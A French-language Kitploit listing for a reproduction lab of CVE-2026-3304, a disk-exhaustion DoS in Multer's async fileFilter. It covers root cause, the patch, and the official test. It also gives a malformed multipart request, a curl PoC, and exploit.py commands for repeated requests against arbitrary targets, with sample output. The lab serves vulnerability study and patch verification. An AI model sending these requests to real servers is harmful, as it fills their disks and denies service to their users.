Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-3304 — Laboratoire de reproduction pour CVE-2026-3304, une condition de course asynchrone dans fileFilter de Multer provoquant l'épuisement du disque via des fichiers temporaires orphelins. Inclut des serveurs Docker vulnérables et corrigés, des scripts d'exploitation et une analyse de la cause racine. | Kitploit
Outils/GitHubGitHub/mkway/cve-2026-3304
Analyse des VulnérabilitésExploitationSécurité WebApprentissage et ÉducationLabs et Pratique
GitHubmkway/cve-2026-3304

CVE-2026-3304

Voir le dépôt
il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Laboratoire de reproduction pour CVE-2026-3304, une condition de course asynchrone dans fileFilter de Multer provoquant l'épuisement du disque via des fichiers temporaires orphelins. Inclut des serveurs Docker vulnérables et corrigés, des scripts d'exploitation et une analyse de la cause racine.

Partager

Environnement de laboratoire CVE-2026-3304

Uniquement à des fins éducatives et de recherche. Attaquer des systèmes sans autorisation est illégal.

Cet environnement de laboratoire a été construit en analysant le correctif de Multer 2.1.0 et son code de test officiel. Le serveur vulnérable reproduit les conditions exactes décrites dans le test du correctif, et le serveur corrigé exécute Multer 2.1.0 pour confirmer que le correctif fonctionne.

Présentation de la vulnérabilité

ChampDétails
CVECVE-2026-3304
CibleMulter < 2.1.0 (middleware Node.js multipart/form-data)
TypeDoS — Fichier orphelin (nettoyage incomplet des fichiers temporaires)
CWECWE-459 : Nettoyage incomplet
CVSS 4.08.7 ÉLEVÉ
Version corrigéeMulter 2.1.0

Une requête multipart malformée avec un attribut name manquant sur une partie de fichier amène Multer à créer un fichier temporaire sur le disque sans jamais le nettoyer. Des requêtes répétées épuisent l'espace disque, entraînant un déni de service.


Analyse de la cause racine

La vulnérabilité provient du flux de gestion du rappel fileFilter dans multer/lib/make-middleware.js.

Problème principal : temporisation setImmediate + vérification errorOccured manquante

Lorsque Multer diffuse et analyse une requête multipart partie par partie, la séquence suivante se produit :

root@kitploit:~
[Séquence d'événements d'analyse — version vulnérable]

1. En-tête de la partie 1 reçu
   → fileFilter(req, file, cb) appelé
   → setImmediate(cb) → rappel différé au prochain tick de la boucle d'événements

2. Corps de la partie 1 reçu
   → /tmp/uploads/<uuid> ouvert, les données commencent à être écrites

3. En-tête de la partie 2 reçu (attribut name manquant)
   → Multer détecte 'name manquant'
   → errorOccured = true  ← indicateur d'erreur défini
   → abortWithCode('LIMIT_FIELD_KEY') appelé → HTTP 500 planifié

4. Le rappel setImmediate se déclenche (prochain tick de la boucle d'événements)
   → Résultat de fileFilter : includeFile = true (flux normal)
   → [BUG] l'indicateur errorOccured n'est PAS vérifié
   → storage._handleFile() appelé → fichier temporaire validé sur le disque

5. Réponse HTTP 500 envoyée
   → le fichier temporaire reste sur le disque (fichier orphelin)

Code vulnérable (make-middleware.js — Multer < 2.1.0)

root@kitploit:~
// Rappel de fin de fileFilter (différé via setImmediate)
fileFilter(req, file, function (err, includeFile) {
  if (err) {
    appender.removePlaceholder(placeholder)
    return abortWithError(uploadedFiles, err)
  }

  if (!includeFile) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()
  }

  // ❌ errorOccured n'est jamais vérifié ici
  //    même si une erreur a été définie lors de l'analyse de la partie 2, l'exécution continue
  storage._handleFile(req, file, function (err, info) {
    if (err) {
      appender.removePlaceholder(placeholder)
      return abortWithError(uploadedFiles, err)
    }
    // le fichier temporaire est enregistré dans uploadedFiles et laissé sur le disque
    appender.replacePlaceholder(placeholder, assign(file, info))
    checkFinished()
  })
})

Pourquoi setImmediate est-il le problème ?

Envelopper fileFilter avec setImmediate diffère son rappel au prochain tick de la boucle d'événements. Dans cette fenêtre, busboy (l'analyseur multipart) continue d'analyser les en-têtes de la partie suivante, découvre le name manquant et définit errorOccured = true. Lorsque le rappel reprend, l'état d'erreur est déjà défini — mais le code ne le vérifie jamais, donc storage._handleFile est appelé inconditionnellement et le fichier temporaire est écrit sur le disque.


Analyse du code du correctif (Multer 2.1.0)

Commit du correctif : 739919097d

Un simple garde if (errorOccured) a été ajouté immédiatement après l'entrée du rappel fileFilter, avant que storage._handleFile ne soit atteint.

root@kitploit:~
// Rappel de fin de fileFilter (Multer 2.1.0)
fileFilter(req, file, function (err, includeFile) {
  if (err) {
    appender.removePlaceholder(placeholder)
    return abortWithError(uploadedFiles, err)
  }

  // ✅ [CORRECTIF] Vérifier errorOccured avant de continuer
  if (errorOccured) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()   // vider le flux — aucun fichier écrit sur le disque
  }

  if (!includeFile) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()
  }

  storage._handleFile(req, file, function (err, info) {
    if (err) {
      appender.removePlaceholder(placeholder)
      return abortWithError(uploadedFiles, err)
    }
    appender.replacePlaceholder(placeholder, assign(file, info))
    checkFinished()
  })
})

Résumé des modifications

ÉlémentVulnérable (< 2.1.0)Corrigé (2.1.0)
Vérification errorOccured❌ Non vérifié✅ Vérifié immédiatement à l'entrée du rappel
_handleFile appelé en cas d'erreurOuiBloqué
Nettoyage des fichiers temporaires❌ Manquant✅ Via fileStream.resume()
Fichiers orphelins par requête10

Pourquoi fileStream.resume() nettoie : Appeler fileStream.resume() vide et rejette le flux sans le transmettre à DiskStorage, donc aucun fichier n'est écrit et rien n'est laissé sur le disque.


Code de test officiel du correctif

L'équipe Multer a inclus le test Mocha suivant dans le correctif 2.1.0 pour vérifier la correction. Ce test est devenu le modèle de cet environnement de laboratoire — le serveur vulnérable reproduit la configuration exacte décrite ici (setImmediate fileFilter + requête multipart malformée), et le comportement attendu est vérifié à la fois sur les versions vulnérable et corrigée.

root@kitploit:~
/* eslint-env mocha */

var assert = require('assert')
var fs = require('fs')
var os = require('os')
var path = require('path')
var http = require('http')

var express = require('express')
var multer = require('../')

describe('async fileFilter cleanup', function () {
  it('does not leave orphan files when request aborts with missing field name', function (done) {
    var uploadDir = fs.mkdtempSync(path.join(os.tmpdir(), 'multer-orphan-'))
    var app = express()

    // Vulnerability trigger: async fileFilter via setImmediate
    var upload = multer({
      dest: uploadDir,
      fileFilter: function (req, file, cb) {
        setImmediate(function () { cb(null, true) })
      }
    })

    app.post('/upload', upload.any(), function (req, res) {
      res.json({ success: true })
    })

    // Error handler: respond with 400
    app.use(function (err, req, res, next) {
      res.status(400).json({ error: err.code })
    })

    var server = app.listen(0, function () {
      var port = server.address().port
      var boundary = 'TestBound'

      // Malicious body: Part 1 valid, Part 2 missing name attribute
      var body =
        '--' + boundary + '\r\n' +
        'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n' +
        'Content-Type: application/octet-stream\r\n\r\nORPHAN FILE DATA\r\n' +
        '--' + boundary + '\r\n' +
        'Content-Disposition: form-data; filename="b.bin"\r\n' +   // ← name= missing
        'Content-Type: application/octet-stream\r\n\r\nx\r\n' +
        '--' + boundary + '--\r\n'

      var req = http.request({
        hostname: 'localhost',
        port: port,
        path: '/upload',
        method: 'POST',
        headers: {
          'Content-Type': 'multipart/form-data; boundary=' + boundary,
          'Content-Length': Buffer.byteLength(body)
        }
      }, function (res) {
        res.resume()
        res.on('end', function () {
          setTimeout(function () {
            var files = fs.readdirSync(uploadDir)

            // Assert 1: server must respond with 400 (error)
            assert.strictEqual(res.statusCode, 400)

            // Assert 2: no orphaned files must remain on disk
            assert.strictEqual(files.length, 0)

            server.close(done)
          }, 500)
        })
      })

      req.write(body)
      req.end()
    })
  })
})
AssertionSignification
res.statusCode === 400Multer rejette correctement la requête malformée
files.length === 0Aucun fichier orphelin laissé sur le disque (correctif vérifié)

Sur une version vulnérable (< 2.1.0), files.length est égal à 1 et l'assertion échoue.


Implémentation du laboratoire

Ce laboratoire reflète directement la configuration du test du correctif ci-dessus.

Serveur vulnérable (Dockerfile + app/server.js) exécute Multer 2.0.2 avec un fileFilter asynchrone utilisant setImmediate — la condition de déclenchement exacte du test du correctif :

root@kitploit:~
// app/server.js — reproduit le déclencheur de vulnérabilité du test du correctif
const upload = multer({
  dest: UPLOAD_DIR,
  fileFilter: function (req, file, cb) {
    setImmediate(function () {   // ← diffère le rappel, créant la condition de course
      cb(null, true)
    })
  }
})

Serveur corrigé (Dockerfile.patched) exécute le même server.js mais installe Multer 2.1.0, où le garde errorOccured est en place — correspondant à l'état de réussite attendu du test du correctif.

ServeurPortMulterComportement attendu
Vulnérable30002.0.2Fichier orphelin créé par requête malformée
Corrigé30012.1.0Aucun fichier orphelin — le nettoyage fonctionne correctement

Remarque : Passer fileFilter en synchrone (en supprimant setImmediate) empêche les fichiers orphelins même sur Multer < 2.1.0. La vulnérabilité nécessite les deux conditions : un fileFilter asynchrone et la vérification errorOccured manquante.


Attaque : requête POST malformée

L'attaque envoie un POST multipart/form-data où la deuxième partie ne contient pas l'attribut name requis.

Requête normale (sûre)

root@kitploit:~
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="photo.jpg"
Content-Type: application/octet-stream

<binary data>
------Boundary--

Requête malveillante (déclenche CVE-2026-3304)

root@kitploit:~
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="legit.bin"   ← Partie 1 : valide, fichier temporaire créé ici
Content-Type: application/octet-stream

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
------Boundary
Content-Disposition: form-data; filename="malformed.bin"            ← Partie 2 : name= manquant !
Content-Type: application/octet-stream

x
------Boundary--

Exécution côté serveur :

root@kitploit:~
1. La partie 1 arrive  →  Multer ouvre /tmp/uploads/<uuid> et commence l'écriture
2. fileFilter appelé avec setImmediate  →  rappel différé
3. La partie 2 arrive  →  Multer détecte le name manquant  →  errorOccured = true
4. setImmediate se déclenche  →  le rappel fileFilter s'exécute
5. [BUG] errorOccured non vérifié  →  storage._handleFile appelé
6. Fichier temporaire écrit sur le disque
7. HTTP 500 renvoyé
8. /tmp/uploads/<uuid> reste sur le disque pour toujours  ← fichier orphelin

Réponse du serveur :

root@kitploit:~
HTTP/1.1 500 Internal Server Error

MulterError: Field name missing
    at abortWithCode (/app/node_modules/multer/lib/make-middleware.js:...)

PoC curl

root@kitploit:~
curl -s -X POST http://localhost:3000/upload \
  -H "Content-Type: multipart/form-data; boundary=----Boundary" \
  --data-binary $'------Boundary\r\nContent-Disposition: form-data; name="file"; filename="legit.bin"\r\nContent-Type: application/octet-stream\r\n\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n------Boundary\r\nContent-Disposition: form-data; filename="malformed.bin"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n------Boundary--\r\n'

Vérifiez les fichiers orphelins immédiatement après :

root@kitploit:~
curl http://localhost:3000/status

Configuration

Prérequis

  • Docker, Docker Compose
  • Python 3 + requests (pip install requests)

Démarrage

root@kitploit:~
# Démarrer les serveurs vulnérable (port 3000) + corrigé (port 3001)
docker compose up -d --build

# Vérifier que les deux sont en cours d'exécution
curl http://localhost:3000/status
curl http://localhost:3001/status

Utilisation

Étape 1 — Requête malformée unique (test rapide)

root@kitploit:~
bash exploit/curl_poc.sh

Étape 2 — Exploit DoS

root@kitploit:~
# Par défaut (50 requêtes)
python3 exploit/exploit.py

# Attaque lourde (500 requêtes, charge utile de 5 Ko chacune)
python3 exploit/exploit.py --count 500 --size 5120

# Contre une cible HTTPS avec certificat auto-signé
python3 exploit/exploit.py --target https://target.example.com --no-verify

# Comparer avec la version corrigée
python3 exploit/exploit.py --target http://localhost:3001 --count 50

Étape 3 — Surveillance en temps réel (terminal séparé)

root@kitploit:~
bash exploit/monitor.sh

Étape 4 — Réinitialiser le répertoire de téléversement

root@kitploit:~
curl -X DELETE http://localhost:3000/reset

Résultats attendus

CibleRésultat
Serveur vulnérable (3000)Fichier orphelin créé par requête, le disque croît en continu
Serveur corrigé (3001)0 fichier orphelin quel que soit le nombre de requêtes

Résultats de test vérifiés

Sortie de l'exploit (serveur vulnérable, 50 requêtes × 2 Ko)

root@kitploit:~
[*] CVE-2026-3304 Multer Orphaned File DoS Exploit
[*] Target : http://localhost:3000/upload
[*] Requests: 50  |  Delay: 0.0s  |  Payload: 2048 bytes
------------------------------------------------------------
[*] Before attack — orphaned files: 0

[  10/50] 500 response: True | orphaned files: 10  | disk: 20.00 KB
[  20/50] 500 response: True | orphaned files: 20  | disk: 40.00 KB
[  30/50] 500 response: True | orphaned files: 30  | disk: 60.00 KB
[  40/50] 500 response: True | orphaned files: 40  | disk: 80.00 KB
[  50/50] 500 response: True | orphaned files: 50  | disk: 100.00 KB

============================================================
[Result] Total requests: 50  |  Triggered: 50
[Result] Orphaned files: 0 -> 50
[Result] Disk wasted:    100.00 KB

[!] VULNERABLE: 50 temporary files left on disk, never cleaned up
[!] Repeated attacks will exhaust disk space (DoS)

Utilisation réelle du disque vérifiée dans le conteneur

root@kitploit:~
$ docker exec cve-2026-3304-target df -h /tmp/uploads

Before attack:
Filesystem   Size    Used  Available  Use%  Mounted on
tmpfs        50.0M   0     50.0M      0%    /tmp/uploads

After 200 requests × 5 KB:
Filesystem   Size    Used  Available  Use%  Mounted on
tmpfs        50.0M   1.6M  48.4M      3%    /tmp/uploads

$ docker exec cve-2026-3304-target du -sh /tmp/uploads
1.6M    /tmp/uploads

$ docker exec cve-2026-3304-target ls /tmp/uploads | wc -l
200

Chaque fichier orphelin reste sur le disque en permanence jusqu'au redémarrage du serveur ou à un nettoyage manuel. Le tmpfs du conteneur est plafonné à 50 Mo — atteindre la limite provoque l'échec complet du serveur sur les nouveaux téléversements.

Deux exécutions sans réinitialisation — les fichiers s'accumulent

root@kitploit:~
Run 1:  orphaned files   0  ->  50   (100 KB)
Run 2:  orphaned files  50  -> 100   (200 KB)
        ↑ files from run 1 still present — never cleaned up

Serveur corrigé (Multer 2.1.0) — même attaque, impact nul

root@kitploit:~
[  10/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  20/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  30/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  40/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  50/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB

[*] No orphaned files — patched version cleans up correctly

Arrêt

root@kitploit:~
docker compose down

Références

  • Avis GitHub GHSA-xf7r-hgr6-v32p
  • Commit du correctif 739919097d
  • NVD CVE-2026-3304
Télécharger l’outil